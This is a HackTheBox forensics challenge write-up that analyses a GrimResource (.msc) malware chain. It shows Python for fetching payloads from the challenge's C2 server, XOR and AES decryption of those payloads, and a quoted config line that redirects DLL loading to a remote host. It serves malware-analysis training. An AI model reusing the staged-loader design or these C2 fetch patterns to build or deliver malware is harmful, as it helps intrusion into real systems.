HTB: Binary Badresources Challenge

Binary Badresources - HackTheBox Challenge Writeup

FieldValue
NameBinary Badresources
CategoryForensics
DifficultyMedium
Authord3vn0mi

Challenge Description

A forensics challenge centered around a malware sample delivered via a compromised .msc file (Microsoft Management Console format). The challenge involves analyzing a live malware C2 server and extracting an encrypted flag through a multi-stage decryption process.

Challenge Overview

This challenge features a GrimResource attack (CVE-2024-43572) exploiting the .msc MMC file format. A 0-byte wanted.msc artifact serves as the entry point to a live malware C2 server hosted on 154.57.164.72:30652 running Flask/Werkzeug, serving payloads under the vhost windowsupdate.htb.

Solution

Stage 1: Initial Reconnaissance

The challenge begins by connecting to the C2 server and discovering its structure. The server hosts multiple encrypted payloads:

Terminal window
# Connect to the C2 server
cd /tmp
python3 << 'EOF'
import socket
def fetch_from_server(path):
s = socket.socket()
s.settimeout(15)
s.connect(('154.57.164.72', 30652))
request = f"GET {path} HTTP/1.1\r\nHost: windowsupdate.htb\r\n\r\n"
s.sendall(request.encode())
response = b''
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
s.close()
return response
# Fetch the raw XOR key
key_response = fetch_from_server('/csrss.dll')
print(f"Key fetched: {len(key_response)} bytes")
EOF

Stage 2: XOR Decryption

The first critical file /csrss.dll (32 bytes) contains the XOR key used to decrypt subsequent payloads:

# Extract XOR key and decrypt payloads
key = open('live/csrss.dll', 'rb').read()
print(f'XOR Key length: {len(key)} bytes')
print(f'XOR Key (hex): {key.hex()}')
def xor_decrypt(data, key):
"""Decrypt data using XOR with repeating key"""
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
# Decrypt the configuration file
encrypted_config = open('live/csrss.exe.config', 'rb').read()
decrypted_config = xor_decrypt(encrypted_config, key)
# Decrypt the executable
encrypted_exe = open('live/csrss.exe', 'rb').read()
decrypted_exe = xor_decrypt(encrypted_exe, key)
# Validate decryption (look for PE header or XML declaration)
if decrypted_config[:5] == b'<?xml':
print('✓ Config decryption successful')
if decrypted_exe[:2] == b'MZ':
print('✓ Executable decryption successful')

Stage 3: Configuration Analysis

The decrypted .NET XML config file contains a critical reference:

<codeBase href="http://windowsupdate.htb/5f8f9e33bb5e13848af2622b66b2308c.json"/>

This points to a clean .NET DLL (dfsvc), which is fetched from the server.

Stage 4: AES Key Extraction

The DLL contains embedded AES parameters in UTF-16 user-strings:

import re
# Extract UTF-16LE strings from the DLL
dll_data = open('live/stage.json.dll', 'rb').read()
# Find UTF-16LE encoded strings
utf16_strings = re.findall(
rb'(?:[\x20-\x7E]\x00){4,}',
dll_data
)
decoded_strings = [s.decode('utf-16-le', errors='ignore') for s in utf16_strings]
# Extract AES parameters from strings:
# - Base64-encoded ciphertext
# - Salt: "tbbliftalildywic"
# - Password: "vudzvuokmioomyialpkyydvgqdmdkdxy"
aes_password = "vudzvuokmioomyialpkyydvgqdmdkdxy"
aes_salt = "tbbliftalildywic"

Stage 5: AES Decryption

Decrypt the embedded payload using SHA256-derived keys:

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import hashlib
import base64
password = "vudzvuokmioomyialpkyydvgqdmdkdxy"
salt = "tbbliftalildywic".encode()
# Key derivation: SHA256(password)[:32]
key = hashlib.sha256(password.encode()).digest()[:32]
iv = salt[:16]
# Base64-encoded ciphertext found in DLL
ciphertext_b64 = "..." # extracted from UTF-16 strings
ciphertext = base64.b64decode(ciphertext_b64)
# AES-CBC decryption
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
# Result: URL to final shellcode
# http://windowsupdate.htb/ec285935b46229d40b95438707a7efb2282f2f02.xml

Stage 6: Flag Extraction

The final shellcode payload contains the flag in plaintext:

import re
shellcode = open('live/shellcode.bin', 'rb').read()
# Search for flag pattern
flag_match = shellcode.find(b'HTB{')
if flag_match >= 0:
flag_context = shellcode[flag_match-20:flag_match+60]
print(f'Flag context: {flag_context}')
# Parse JSON containing the flag
import json
flag_data = json.loads(shellcode[flag_match:flag_match+100].split(b'}')[0] + b'}')
flag = flag_data['user']
print(f'Flag: {flag}')

Key Steps Summary

  1. Enumerate C2 endpoints — Discover /csrss.dll, /csrss.exe.config, /csrss.exe, /wanted.pdf
  2. Extract XOR key — 32-byte key from /csrss.dll
  3. Decrypt payloads — Apply XOR decryption to all encrypted files
  4. Parse .NET config — Extract codeBase href pointing to stage DLL
  5. Extract AES parameters — Search UTF-16 strings in DLL for password, salt, and ciphertext
  6. Decrypt AES payload — Use SHA256(password)[:32] as key and salt[:16] as IV
  7. Fetch final stage — Download URL from decrypted payload
  8. Extract flag — Parse shellcode binary for JSON containing flag

Tools Used

  • Python 3 — Socket programming, decryption (pycryptodome)
  • Bash — File operations and reconnaissance
  • re module — String extraction and pattern matching
  • Crypto.Cipher.AES — AES-CBC decryption
  • hashlib — SHA256 key derivation

Key Learnings

Attack Surface

  • MMC File Exploitation: The .msc format can be weaponized to deliver multi-stage payloads
  • Layered Encryption: XOR → AES combination obscures malware intent
  • C2 Communication: Vhost-based routing (windowsupdate.htb) evades simple network monitoring

Forensic Techniques

  • Binary String Extraction: UTF-16LE string recovery reveals embedded configuration
  • Key Derivation: Understanding SHA256-based key generation from passwords
  • Shellcode Analysis: Extracting structured data (JSON) from raw binary payloads

GrimResource CVE-2024-43572

This challenge demonstrates a real vulnerability in Windows MMC that allows arbitrary code execution through malicious .msc files. The attack chain shows why:

  • Input validation on .msc StringTable resources is insufficient
  • DLL sideloading through configuration redirection is effective
  • Multiple encryption layers slow down analysis

Final Flag

HTB{<redacted>}

The flag was successfully extracted from the final shellcode payload after completing all six stages of decryption and analysis.